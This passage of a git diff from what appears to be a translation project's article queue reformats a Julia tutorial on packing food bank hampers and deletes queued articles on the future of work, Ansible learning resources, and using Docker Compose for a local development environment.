https://gitlab.com/sarneaud/djinn/-/tree/v0.1.0/examples -[6]: https://dlang.org/phobos/std_format.html#format-string -[7]: http://netpbm.sourceforge.net/doc/#formats -[8]: https://en.wikipedia.org/wiki/Mandelbrot_set -[9]: https://theartofmachinery.com/images/djinn/mandelbrot.png -[10]: https://theartofmachinery.com/images/djinn/inequality.svg -[11]: https://theartofmachinery.com/2020/05/21/glico_weighted_rock_paper_scissors.html -[12]: http://lpsolve.sourceforge.net/5.0/CPLEX-format.htm -[13]: https://zimpl.zib.de/ -[14]: https://gitlab.com/sarneaud/djinn/-/tree/v0.1.0/examples/inequality.lp.dj -[15]: https://www.gnu.org/software/glpk/ -[16]: https://theartofmachinery.com/images/djinn/inequality_solution.svg diff --git a/sources/tech/20210101 Solve a charity-s problem with the Julia programming language.md b/sources/tech/20210101 Solve a charity-s problem with the Julia programming language.md index 6a29af626b..0362f44efd 100644 --- a/sources/tech/20210101 Solve a charity-s problem with the Julia programming language.md +++ b/sources/tech/20210101 Solve a charity-s problem with the Julia programming language.md @@ -1,18 +1,20 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Solve a charity's problem with the Julia programming language) -[#]: via: (https://opensource.com/article/21/1/solve-problem-julia) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) +[#]: subject: "Solve a charity's problem with the Julia programming language" +[#]: via: "https://opensource.com/article/21/1/solve-problem-julia" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Solve a charity's problem with the Julia programming language ====== -See how Julia differs from Java, Python, and Groovy to solve a food -bank's real-world problem. +See how Julia differs from Java, Python, and Groovy to solve a food bank's real-world problem. + ![Puzzle pieces coming together to form a computer screen][1] +Image by: Opensource.com + I have been writing a series of articles about solving a nice, small, and somewhat unusual problem in different programming languages ([Groovy][2], [Python][3], and [Java][4] so far). Briefly, the problem is how to unpack bulk supplies into their units (for example, dividing a 10 pack of one-pound bags of your favorite coffee) and repackage them into hampers of similar value to distribute to struggling neighbors in the community. @@ -29,10 +31,9 @@ But enough speculation, let's code something! ### The Julia solution -My first decision is how to implement the data model. Julia supports _composite types_, seemingly similar to `struct` in C, and Julia even uses the keyword `struct`. Of note is that a `struct` is immutable (unless declared a `mutable struct`), which is fine for this problem since the data doesn't need to be mutated. - -By following the approach I took in the Java solution, the `Unit struct` can be defined as:  +My first decision is how to implement the data model. Julia supports *composite types*, seemingly similar to `struct` in C, and Julia even uses the keyword `struct`. Of note is that a `struct` is immutable (unless declared a `mutable struct` ), which is fine for this problem since the data doesn't need to be mutated. +By following the approach I took in the Java solution, the `Unit struct` can be defined as: ``` struct Unit @@ -44,13 +45,12 @@ end Similarly, `Pack` is defined as the bulk package of `Unit` instances: - ``` struct Pack       unit::Unit       count::Int       Pack(item, brand, unitCount,p ackPrice) = -            new(Unit(item, brand, [div][6](packPrice,unitCount)), unitCount) +            new(Unit(item, brand, div(packPrice,unitCount)), unitCount) end ``` @@ -58,7 +58,6 @@ There is an interesting thing here: a Julia "inner constructor." In the Java sol Because Julia isn't object-oriented, I can't add methods to `Pack` to give unit price vs. pack price or to unpack it into a list of `Unit` instances. I can declare "getter" functions that accomplish the same tasks. (I probably don't need these, but I'll do it anyway to see how Julia methods work): - ``` item(pack::Pack) = pack.unit.item brand(pack::Pack) = pack.unit.brand @@ -68,17 +67,16 @@ packPrice(pack::Pack) = pack.unit.price * pack.count unpack(pack::Pack) = Iterators.collect(Iterators.repeated(pack.unit,pack.count)) ``` -The `unpack()` method is quite similar to the method of the same name I declared in the Java class `Pack`. The function `Iterators.repeated(thing,N)` creates an iterator that will deliver `N` copies of `thing`. The `Iterators.collect` (`iterator`) function processes the `iterator` to yield an array made up of the elements it delivers. - -Finally, the `Bought struct`: +The `unpack()` method is quite similar to the method of the same name I declared in the Java class `Pack`. The function `Iterators.repeated(thing,N)` creates an iterator that will deliver `N` copies of `thing`. The `Iterators.collect` (`iterator` ) function processes the `iterator` to yield an array made up of the elements it delivers. +Finally, the `Bought struct` : ``` struct Bought       pack::Pack       count::Int end -unpack(bought::Bought) =         +unpack(bought::Bought) =              Iterators.collect(Iterators.flatten(Iterators.repeated(unpack(bought.pack),          bought.count))) ``` @@ -87,7 +85,6 @@ Once again, I'm creating an array of an array of unpacked `Pack` instances (i.e. Now I can construct the list of what I bought: - ``` packs = [         Bought(Pack("Rice","Best Family",10,5650),1), @@ -111,12 +108,11 @@ I'm starting to see a pattern here… this looks surprisingly like the Java solu With the list packs of what I bought, I can now unpack into the units before working on redistributing them: - ``` -`units = Iterators.collect(Iterators.flatten(unpack.(packs)))` +units = Iterators.collect(Iterators.flatten(unpack.(packs))) ``` -What's going on here? Well, a construct like `unpack.(packs)`—that is, the dot between the function name and the argument list—applies the function `unpack()` to each element in the list `packs`. This will generate a list of lists corresponding to the unpacked groups of `Packs` I bought. To turn that into a flat list of units, I apply `Iterators.flatten()`. Because `Iterators.flatten()` is lazy, to make the flatten thing happen, I wrap it in `Iterators.collect()`. This kind of composition of functions adheres to the spirit of functional programming, even though you don't see the functions chained together, as programmers who write functionally in JavaScript, Java, or what-have-you are familiar with. +What's going on here? Well, a construct like `unpack.(packs)` —that is, the dot between the function name and the argument list—applies the function `unpack()` to each element in the list `packs`. This will generate a list of lists corresponding to the unpacked groups of `Packs` I bought. To turn that into a flat list of units, I apply `Iterators.flatten()`. Because `Iterators.flatten()` is lazy, to make the flatten thing happen, I wrap it in `Iterators.collect()`. This kind of composition of functions adheres to the spirit of functional programming, even though you don't see the functions chained together, as programmers who write functionally in JavaScript, Java, or what-have-you are familiar with. One observation is that the list of units created here is actually an array whose starting index is 1, not 0. @@ -124,63 +120,59 @@ With units being the list of units purchased and unpacked, I can now take on rep Here's the code, which is not exceptionally different than the versions in Groovy, Python, and Java: - ```  1      valueIdeal = 5000  2      valueMax = round(valueIdeal * 1.1)  3      hamperNumber = 0         - 4      while length(units) > 0 + 4      while length(units) > 0  5          global hamperNumber += 1  6          hamper = Unit[]  7          value = 0  8          canAdd = true  9          while canAdd -10              u = [rand][7](0:(length(units)-1)) +10              u = rand(0:(length(units)-1)) 11              canAdd = false 12              for o = 0:(length(units)-1) 13                  uo = (u + o) % length(units) + 1 14                  unit = units[uo] -15                  if length(units) < 3 || findfirst(u -> u == unit,hamper) === nothing && (value + unit.price) < valueMax +15                  if length(units) < 3 || findfirst(u -> u == unit,hamper) === nothing && (value + unit.price) < valueMax 16                      push!(hamper,unit) 17                      value += unit.price 18                      deleteat!(units,uo) -19                      canAdd = length(units) > 0 +19                      canAdd = length(units) > 0 20                      break 21                  end 22              end 23          end -24          Printf.@[printf][8]("\nHamper %d value %d:\n",hamperNumber,value) +24          Printf.@printf("\nHamper %d value %d:\n",hamperNumber,value) 25          for unit in hamper -26              Printf.@[printf][8]("%-25s%-25s%7d\n",unit.item,unit.brand,unit.price) +26              Printf.@printf("%-25s%-25s%7d\n",unit.item,unit.brand,unit.price) 27          end -28          Printf.@[printf][8]("Remaining units %d\n",length(units)) +28          Printf.@printf("Remaining units %d\n",length(units)) 29      end ``` Some clarification, by line numbers: - * Lines 1–3: Set up the ideal and maximum values to be loaded into any given hamper and initialize Groovy's random number generator and the hamper number - * Lines 4–29: This `while` loop redistributes units into hampers, as long as there are more available - * Lines 5–7: Increment the (global) hamper number, get a new empty hamper (an array of `Unit` instances), and set its value to 0 - * Line 8 and 9–23: As long as I can add units to the hamper… - * Line 10: Gets a random number between zero and the number of remaining units minus 1 - * Line 11: Assumes I can't find more units to add - * Lines 12–22: This `for` loop, starting at the randomly chosen index, will try to find a unit that can be added to the hamper - * Lines 13–14: Figure out which unit to look at (remember arrays start at index 1) and get it - * Lines 15–21: I can add this unit to the hamper if there are only a few left or if the value of the hamper isn't too high once the unit is added and if that unit isn't already in the hamper - * Lines 16–18: Add the unit to the hamper, increment the hamper value by the unit price, and remove the unit from the available units list - * Lines 19–20: As long as there are units left, I can add more, so break out of this loop to keep looking - * Line 22: On exit from this `for` loop, if I have inspected every remaining unit and could not find one to add to the hamper, the hamper is complete; otherwise, I found one and can continue looking for more - * Line 23: On exit from this `while` loop, the hamper is as full as I can make it, so… - * Lines 24–28: Print out the contents of the hamper and the remaining units info - * Line 29: When I exit this loop, there are no more units left - - +* Lines 1–3: Set up the ideal and maximum values to be loaded into any given hamper and initialize Groovy's random number generator and the hamper number +* Lines 4–29: This `while` loop redistributes units into hampers, as long as there are more available +* Lines 5–7: Increment the (global) hamper number, get a new empty hamper (an array of `Unit` instances), and set its value to 0 +* Line 8 and 9–23: As long as I can add units to the hamper… +* Line 10: Gets a random number between zero and the number of remaining units minus 1 +* Line 11: Assumes I can't find more units to add +* Lines 12–22: This `for` loop, starting at the randomly chosen index, will try to find a unit that can be added to the hamper +* Lines 13–14: Figure out which unit to look at (remember arrays start at index 1) and get it +* Lines 15–21: I can add this unit to the hamper if there are only a few left or if the value of the hamper isn't too high once the unit is added and if that unit isn't already in the hamper +* Lines 16–18: Add the unit to the hamper, increment the hamper value by the unit price, and remove the unit from the available units list +* Lines 19–20: As long as there are units left, I can add more, so break out of this loop to keep looking +* Line 22: On exit from this `for` loop, if I have inspected every remaining unit and could not find one to add to the hamper, the hamper is complete; otherwise, I found one and can continue looking for more +* Line 23: On exit from this `while` loop, the hamper is as full as I can make it, so… +* Lines 24–28: Print out the contents of the hamper and the remaining units info +* Line 29: When I exit this loop, there are no more units left The output of running this code looks quite similar to the output from the other programs: - ``` Hamper 1 value 5020: Tea                      Superior                     544 @@ -238,9 +230,8 @@ Once again, the random-number-driven list manipulation seems to make the "workin Given that the main effort revolves around `for` and `while` loops, in Julia, I don't see any construct similar to: - ``` -`for (boolean canAdd = true; canAdd; ) { … }` +for (boolean canAdd = true; canAdd; ) { … } ``` This means I have to declare the `canAdd` variable outside the `while` loop. Which is too bad—but not a terrible thing. @@ -249,27 +240,24 @@ I do miss not being able to attach behavior directly to my data, but that's just Good things: low ceremony, check; decent list-handling, check; compact and readable code, check. All in all, a pleasant experience, supporting the idea that Julia can be a decent choice to solve "ordinary problems" and as a scripting language. -Next time, I'll do this exercise in [Go][9]. +Next time, I'll do this exercise in [Go][6]. -------------------------------------------------------------------------------- via: https://opensource.com/article/21/1/solve-problem-julia 作者:[Chris Hermansen][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/puzzle_computer_solve_fix_tool.png [2]: https://opensource.com/article/20/9/groovy [3]: https://opensource.com/article/20/9/solve-problem-python [4]: https://opensource.com/article/20/9/problem-solving-java [5]: https://julialang.org/ -[6]: http://www.opengroup.org/onlinepubs/009695399/functions/div.html -[7]: http://www.opengroup.org/onlinepubs/009695399/functions/rand.html -[8]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html -[9]: https://golang.org/ +[6]: https://golang.org/ diff --git a/sources/tech/20210103 How open principles will impact the future of work.md b/sources/tech/20210103 How open principles will impact the future of work.md deleted file mode 100644 index 9217b08384..0000000000 --- a/sources/tech/20210103 How open principles will impact the future of work.md +++ /dev/null @@ -1,93 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How open principles will impact the future of work) -[#]: via: (https://opensource.com/open-organization/21/1/open-is-future-of-work) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -How open principles will impact the future of work -====== -In many ways, the nature of our work defines us. So how do we prepare -for a future when the nature of work will change dramatically? -![Working on a team, busy worklife][1] - -If we define "work" as any contribution that receives any kind of reward, then work is—and always has been—one of the major factors that define who we are. It is a major aspect of our lives. Throughout our work (whatever that may be for us), we meet friends, identify sources of intellectual stimulation and emotional fulfillment, grow, and feel at our most creative and innovative. To our families, friends, communities and societies, work is extremely important. We should not take work—or its role in our lives—lightly or for granted. - -So if the [nature of work is going to change][2] in the future, it might mean that something key to our very sense of _self_ is going to change. And we should plan for those changes very seriously. - -Consider the transformation of work throughout the Industrial Revolution (between the 1700s and 1800s). It drove many people from rural farm work into factories in the cities, fundamentally altering their lifestyles. It required new, more specialized skills (rather than the kind of artisanship common in rural economies). As we examine our own personal work environments in the decades to come, we'll see a potential reversal of the trends we saw during the Industrial era: from hierarchy and interchangeable general skills and activities to the reinstatement of horizontal collaboration and more specialized mastery (back to artisanship). - -This time, though, these changes come on a global scale rather than a local one, and the speed of change is far more accelerated. - -And in this new work environment, [open organization principles][3] will play a vital role. - -In this series, I'll review [_The Shift_, a book by Professor Lynda Gratton][4]—a book that, while written in 2014 from data assembled in 2010, still rings true today (and will in the future, too). In this book, Gratton projects how work will change around 2025 and 2050. This is vital information, as it will help us make sound choices when preparing for and developing our careers moving forward. - -Gratton explains predominant forces influencing the future of work in this timeframe. In this article series, I'll summarize them—and explain how open organization principles are involved in each. - -### Five factors influencing the future of work - -Driving the Industrial Revolution were inventions that used coal and steam power. Today, [Gratton][5] says, five subtle forces are causing a similar "shift": - - 1. increased global activities - 2. rapid advances in technology - 3. human longevity and demographics - 4. societal and family structural changes - 5. the need for a low-carbon economy - - - -In short: Computers will become faster. Materials will become stronger. Medicines will cure more diseases allowing longer human life. To varying degrees, these will all impact on how we work in the future. Here are a few notes on each. - -#### 1\. Globalization - -In a previous article, "[Globalization: A history of openness][6]," I discussed multiple forces and factors related to globalization, one of them being trade. Between 1950 and 2010 the volume of global trade has increased by 60 times, while at the same time transportation costs have fallen. And at the same time, developing countries are seeing not only increased trade but new innovations. I also discussed globalization in early history as part of my article "[Open organizations through the ages][7]." And I explored the importance of global governance—both now and into the future—in my article ["What would a global open organization look like?"][8] According to Gratton, globalization will have an undeniable and unavoidable impact on the future work. - -If the nature of work is going to change in the future, it might mean that something key to our very sense of self is going to change. And we should plan for those changes very seriously. - -#### 2\. Technology - -The cost of computing has been coming down at an alarming rate. And it will continue to decrease. This will help connect billions of people that have been mostly left out of the greater global economy until now. They will start to both enter the workforce and become more influential consumers. At the same time, computers and advanced automation [will replace jobs performed by humans][9] in the future. This all will influence work shifts in the future. - -#### 3\. Demographics and longevity - -Gratton also notes the impacts that various generations will have on the future of work, particularly in the United States. Younger generations will play a major role in the future, as their attitudes are different from earlier generations. Moreover, birth rates in various global regions will have an impact on prosperity. There will be more migration, as some regions' populations will decline while others increase. They will move to what Professor Gratton calls "creative clusters." And finally, Gratton argues, the life expectancy globally will change. By 2025, 10% of the world's population will be over the age of 65. These people will more than likely want to continue to work for sustained income, continued mental stimulation, physical activity, connection to others, and a source of meaning and purpose in their lives. Also, consider that many children today will more than likely live longer than 100 years. If they retired at 65 years old, they would have 35 years to do very little. With that thought in mind, having several career changes and being active in volunteer and community service programs in the future will expand greatly. - -#### 4\. Society - -In addition to the generational changes, Gratton notes several important social changes, too. There will be changing roles of women in the workplace, she says. People will have more choices to form the life they want than ever before. And with increased productivity per person, there will be more average free time available than ever before, she writes. - -#### 5\. Energy resources - -I've talked about the expansion of resource-saving industries in a presentation I've given on "[The Resource Industrial Revolution][10]." Gratton adds valuable points to this conversation. Climate change, she notes, will gradually become a major issue, which will reduce transportation and consumption. In particular, global water supply will not be able to keep pace with demand. Water desalination projects will expand greatly (possibly powered by [Generation IV][11] distributed small modular nuclear power plants (SMR's) now being developed). Environmental catastrophes will displace people and migration will create displaced communities throughout the globe. More energy-efficient ways of living will be discovered and introduced. This will influence future jobs. - -### Preparing for the future - -These five forces will prompt fundamental changes to the way we work in the future, Gratton argues. But we need to begin preparing for that future now. In the next article of this series, I'll explain Gratton's outlook and a few scenarios for grappling with a rapidly changing future. How could a person look at those changes as career opportunities? On the other hand, what would happen if a person simply _ignored_ those changes to come? I'll review Gratton's thoughts on those questions. Also, I'll also explain how open principles can form the heart of necessary changes. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/1/open-is-future-of-work - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team_dev_email_chat_video_work_wfm_desk_520.png?itok=6YtME4Hj (Working on a team, busy worklife) -[2]: https://opensource.com/open-organization/18/7/transformation-beyond-digital-2 -[3]: https://theopenorganization.org/definition/ -[4]: http://lyndagratton.com/books/the-shift/ -[5]: https://en.wikipedia.org/wiki/Lynda_Gratton -[6]: https://opensource.com/open-organization/20/7/globalization-history-open -[7]: https://opensource.com/open-organization/20/8/global-history-collaboration -[8]: https://opensource.com/open-organization/20/9/global-open-organization -[9]: https://opensource.com/open-organization/19/9/claiming-human-age-of-AI -[10]: https://www.slideshare.net/RonMcFarland1/the-starting-of-the-third-industrial-revolution -[11]: https://en.wikipedia.org/wiki/Generation_IV_reactor diff --git a/sources/tech/20210104 10 ways Ansible is for everyone.md b/sources/tech/20210104 10 ways Ansible is for everyone.md deleted file mode 100644 index 6b93c69ff3..0000000000 --- a/sources/tech/20210104 10 ways Ansible is for everyone.md +++ /dev/null @@ -1,94 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (10 ways Ansible is for everyone) -[#]: via: (https://opensource.com/article/21/1/ansible) -[#]: author: (James Farrell https://opensource.com/users/jamesf) - -10 ways Ansible is for everyone -====== -Expand your knowledge and skills with the top 10 Ansible articles plus -five news summaries from 2020. -![gears and lightbulb to represent innovation][1] - -Here we are again at the end of another year with a great set of articles about Ansible from Opensource.com. I thought it would be nice to review them in a series of progressively advancing topics. I hope to help stimulate the interest of people just getting started with Ansible. There were also a series of summary articles, which I've included for your casual follow-up. - -### Ansible for beginners - -The first five articles on this year's list are a really good place for Ansible neophytes to start. The first three articles were written by Opensource.com editor Seth Kenlon. - - * If you don't know much about Ansible, [_7 things you can do with Ansible right now_][2] is a great place to start. This is a nice primer that gathers links for managing hardware, cloud, containers, and more. - * In [_What's the difference between orchestration and automation?_][3] you will learn some of the terms and baseline technologies that will help kick off your interest in Ansible. - * [_How to install software with Ansible_][4] covers a few rudimentary concepts and some good Ansible habits, followed by simple examples on managing software packages on local and remote hosts. - * In [_3 lessons I've learned writing Ansible playbooks_][5], set yourself right with good habits handed down by Jeff Geerling, a real Ansible veteran. Source control, documentation, testing, simplification, and optimization are the keys to automation success. - * [_My first day using Ansible_][6] outlines Correspondent David Both's thought process for solving a repetitive development task. The article starts with a baseline of what Ansible needs and illustrates some simple plays and tasks. - - - -### Ansible projects to try - -Once you have the basics and some good habits, it's time to turn to more specific topics with concrete examples. - - * [_Manage your Raspberry Pi fleet with Ansible_][7] by Ken Fallon walks through an example of deploying and managing fleets of RPi units. It presents concepts of security and maintenance in constrained environments. - * In _[Integrate your calendar with Ansible to avoid schedule conflicts][8],_ Nicolas Leiva quickly introduces how to use pre-tasks and conditionals to enforce execution blackout windows in your automation schedule. - * Nicolas completes his calendar blackout concept in [_Create an Ansible module for integrating your Google Calendar_][9]. His article dives into writing a custom Ansible module in Go to achieve the desired calendar connection. Nicolas introduces different ways to structure and invoke Go programs and pass the required data to Ansible and receive the desired output. - - - -### Elevate your Ansible skills - -Kubernetes is a hot topic these days, and the following articles offer some great examples to learn new skills. - - * In [_Automate your container orchestration with Ansible modules for Kubernetes_][10], Seth Kenlon introduces the Ansible Kubernetes module, walks through a basic Minikube installation for testing, and presents some basic examples of the "k8s" module for pod control. - * Jeff Geerling explains the concept of Helm Chart applications, Ansible collections, and executing a fun project to set up your own Minecraft server in a k8s cluster in [_Build a Kubernetes Minecraft server with Ansible's Helm modules_][11]. - - - -### Other Ansible news - -This year, Mark Phillips delivered a series of "Ansible around the web" news articles covering a wide variety of Ansible topics. They are packed with links to interesting Ansible developments, ranging from basic tutorials, module writing, plugins, Kubernetes, video demonstrations, and Ansible community news. Check them all out—there are valuable nuggets to follow for all interests and skill levels! - - * [_Containers, networks, security, and more Ansible news_][12] - * [_Tips for CI/CD pipelines and Windows users, and more Ansible news_][13] - * [_Collections signal major shift in Ansible ecosystem, and more Ansible news_][14] - * [_Ansible 101 videos with Jeff Geerling, and more Ansible news_][15] - * [_Beginner guides, Windows, networking, and more Ansible news_][16] - - - -### Have a happy 2021! - -I hope your personal journey with Ansible is already underway and regularly enriched by content from Opensource.com. Tell us in the comments what you might like to learn about Ansible in the coming year, and if you have information to share, please consider [writing an article][17] for Opensource.com. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/ansible - -作者:[James Farrell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jamesf -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_lightbulb_gears_devops_ansible.png?itok=TSbmp3_M (gears and lightbulb to represent innovation) -[2]: https://opensource.com/article/20/9/ansible -[3]: https://opensource.com/article/20/11/orchestration-vs-automation -[4]: https://opensource.com/article/20/9/install-packages-ansible -[5]: https://opensource.com/article/20/1/ansible-playbooks-lessons -[6]: https://opensource.com/article/20/10/first-day-ansible -[7]: https://opensource.com/article/20/9/raspberry-pi-ansible -[8]: https://opensource.com/article/20/10/calendar-ansible -[9]: https://opensource.com/article/20/10/ansible-module-go -[10]: https://opensource.com/article/20/9/ansible-modules-kubernetes -[11]: https://opensource.com/article/20/10/kubernetes-minecraft-ansible -[12]: https://opensource.com/article/20/1/ansible-news-edition-six -[13]: https://opensource.com/article/20/2/ansible-news-edition-seven -[14]: https://opensource.com/article/20/3/ansible-news-edition-eight -[15]: https://opensource.com/article/20/4/ansible-news-edition-nine -[16]: https://opensource.com/article/20/5/ansible-news-edition-ten -[17]: https://opensource.com/how-submit-article diff --git a/sources/tech/20210104 Docker Compose- a nice way to set up a dev environment.md b/sources/tech/20210104 Docker Compose- a nice way to set up a dev environment.md deleted file mode 100644 index 58277b591a..0000000000 --- a/sources/tech/20210104 Docker Compose- a nice way to set up a dev environment.md +++ /dev/null @@ -1,249 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (lkxed) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Docker Compose: a nice way to set up a dev environment) -[#]: via: (https://jvns.ca/blog/2021/01/04/docker-compose-is-nice/) -[#]: author: (Julia Evans https://jvns.ca/) - -Docker Compose: a nice way to set up a dev environment -====== - -Hello! Here is another post about [computer tools that I’ve appreciated][1]. This one is about Docker Compose! - -This post is mostly just about how delighted I was that it does what it’s supposed to do and it seems to work and to be pretty straightforward to use. I’m also only talking about using Docker Compose for a dev environment here, not using it in production. - -I’ve been thinking about this kind of personal dev environment setup more recently because I now do all my computing with a personal cloud budget of like $20/month instead of spending my time at work thinking about how to manage thousands of AWS servers. - -I’m very happy about this because previous to trying Docker Compose I spent two days getting frustrated with trying to set up a dev environment with other tools and Docker Compose was a lot easier and simpler. And then I told my sister about my docker-compose experiences and she was like “I KNOW, DOCKER COMPOSE IS GREAT RIGHT?!?!” So I thought I’d write a blog post about it, and here we are. - -### the problem: setting up a dev environment - -Right now I’m working on a Ruby on Rails service (the backend for a sort of computer debugging game). On my production server, I have: - - * a nginx proxy - * a Rails server - * a Go server (which proxies some SSH connections with [gotty][2]) - * a Postgres database - - - -Setting up the Rails server locally was pretty straightforward without resorting to containers (I just had to install Postgres and Ruby, fine, no big deal), but then I wanted send `/proxy/*` to the Go server and everything else to the Rails server, so I needed nginx too. And installing nginx on my laptop felt too messy to me. - -So enter `docker-compose`! - -### docker-compose lets you run a bunch of Docker containers - -Docker Compose basically lets you run a bunch of Docker containers that can communicate with each other. - -You configure all your containers in one file called `docker-compose.yml`. I’ve pasted my entire `docker-compose.yml` file here for my server because I found it to be really short and straightforward. - -``` -version: "3.3" -services: - db: - image: postgres - volumes: - - ./tmp/db:/var/lib/postgresql/data - environment: - POSTGRES_PASSWORD: password # yes I set the password to 'password' - go_server: - # todo: use a smaller image at some point, we don't need all of ubuntu to run a static go binary - image: ubuntu - command: /app/go_proxy/server - volumes: - - .:/app - rails_server: - build: docker/rails - command: bash -c "rm -f tmp/pids/server.pid && source secrets.sh && bundle exec rails s -p 3000 -b '0.0.0.0'" - volumes: - - .:/app - web: - build: docker/nginx - ports: - - "8777:80" # this exposes port 8777 on my laptop -``` - -There are two kinds of containers here: for some of them I’m just using an existing image (`image: postgres` and `image: ubuntu`) without modifying it at all. And for some I needed to build a custom container image – `build: docker/rails` says to use `docker/rails/Dockerfile` to build a custom container. - -I needed to give my Rails server access to some API keys and things, so `source secrets.sh` puts a bunch of secrets in environment variables. Maybe there’s a better way to manage secrets but it’s just me so this seemed fine. - -### how to start everything: `docker-compose build` then `docker-compose up` - -I’ve been starting my containers just by running `docker-compose build` to build the containers, then `docker-compose up` to run everything. - -You can set `depends_on` in the yaml file to get a little more control over when things start in, but for my set of services the start order doesn’t matter, so I haven’t. - -### the networking is easy to use - -It’s important here that the containers be able to connect to each other. Docker Compose makes that super simple! If I have a Rails server running in my `rails_server` container on port 3000, then I can access that with `http://rails_server:3000`. So simple! - -Here’s a snippet from my nginx configuration file with how I’m using that in practice (I removed a bunch of `proxy_set_header` lines to make it more clear) - -``` -location ~ /proxy.* { - proxy_pass http://go_server:8080; -} -location @app { - proxy_pass http://rails_server:3000; -} -``` - -Or here’s a snippet from my Rails project’s database configuration, where I use the name of the database container (`db`): - -``` -development: - <<: *default - database: myproject_development - host: db # <-------- this "magically" resolves to the database container's IP address - username: postgres - password: password -``` - -I got a bit curious about how `rails_server` was actually getting resolved to an IP address. It seems like Docker is running a DNS server somewhere on my computer to resolve these names. Here are some DNS queries where we can see that each container has its own IP address: - -``` -$ dig +short @127.0.0.11 rails_server -172.18.0.2 -$ dig +short @127.0.0.11 db -172.18.0.3 -$ dig +short @127.0.0.11 web -172.18.0.4 -$ dig +short @127.0.0.11 go_server -172.18.0.5 -``` - -### who’s running this DNS server? - -I dug into how this DNS server is set up a very tiny bit. - -I ran all these commands outside the container, because I didn’t have a lot of networking tools installed in the container. - -**step 1**: find the PID of my Rails server with `ps aux | grep puma` - -It’s 1837916. Cool. - -**step 2**: find a UDP server running in the same network namespace as PID `1837916` - -I did this by using `nsenter` to run `netstat` in the same network namespace as the `puma` process. (technically I guess you could run `netstat -tupn` to just show UDP servers, but my fingers only know how to type `netstat -tulpn` at this point) - -``` -$ sudo nsenter -n -t 1837916 netstat -tulpn -Active Internet connections (only servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 127.0.0.11:32847 0.0.0.0:* LISTEN 1333/dockerd -tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 1837916/puma 4.3.7 -udp 0 0 127.0.0.11:59426 0.0.0.0:* 1333/dockerd -``` - -So there’s a UDP server running on port `59426`, run by `dockerd`! Maybe that’s the DNS server? - -**step 3**: check that it’s a DNS server - -We can use `dig` to make a DNS query to it: - -``` -$ sudo nsenter -n -t 1837916 dig +short @127.0.0.11 59426 rails_server -172.18.0.2 -``` - -But – when we ran `dig` earlier, we weren’t making a DNS query to port 59426, we were querying port 53! What’s going on? - -**step 4**: iptables - -My first guess for “this server seems to be running on port X but I’m accessing it on port Y, what’s going on?” was “iptables”. - -So I ran iptables-save in the container’s network namespace, and there we go: - -``` -$ sudo nsenter -n -t 1837916 iptables-save -.... redacted a bunch of output .... --A DOCKER_POSTROUTING -s 127.0.0.11/32 -p udp -m udp --sport 59426 -j SNAT --to-source :53 -COMMIT -``` - -There’s an iptables rule that sends traffic on port 53 to 59426. Fun! - -### it stores the database files in a temp directory - -One nice thing about this is: instead of managing a Postgres installation on my laptop, I can just mount the Postgres container’s data directory at `./tmp/db`. - -I like this because I really do not want to administer a Postgres installation on my laptop (I don’t really know how to configure Postgres), and conceptually I like having my dev database literally be in the same directory as the rest of my code. - -### I can access the Rails console with `docker-compose exec rails_server rails console` - -Managing Ruby versions is always a little tricky and even when I have it working, I always kind of worry I’m going to screw up my Ruby installation and have to spend like ten years fixing it. - -With this setup, if I need access to the Rails console (a REPL with all my Rails code loaded), I can just run: - -``` -$ docker-compose exec rails_server rails console -Running via Spring preloader in process 597 -Loading development environment (Rails 6.0.3.4) -irb(main):001:0> -``` - -Nice! - -### small problem: no history in my Rails console - -I ran into a problem though: I didn’t have any history in my Rails console anymore, because I was restarting the container all the time. - -I figured out a pretty simple solution to this though: I added a `/root/.irbrc` to my container that changed the IRB history file’s location to be something that would persist between container restarts. It’s just one line: - -``` -IRB.conf[:HISTORY_FILE] = "/app/tmp/irb_history" -``` - -### I still don’t know how well it works in production - -Right now my production setup for this project is still “I made a digitalocean droplet and edited a lot of files by hand”. - -I think I’ll try to use docker-compose to run this thing in production. My guess is that it should work fine because this service is probably going to have at most like 2 users at a time and I can easily 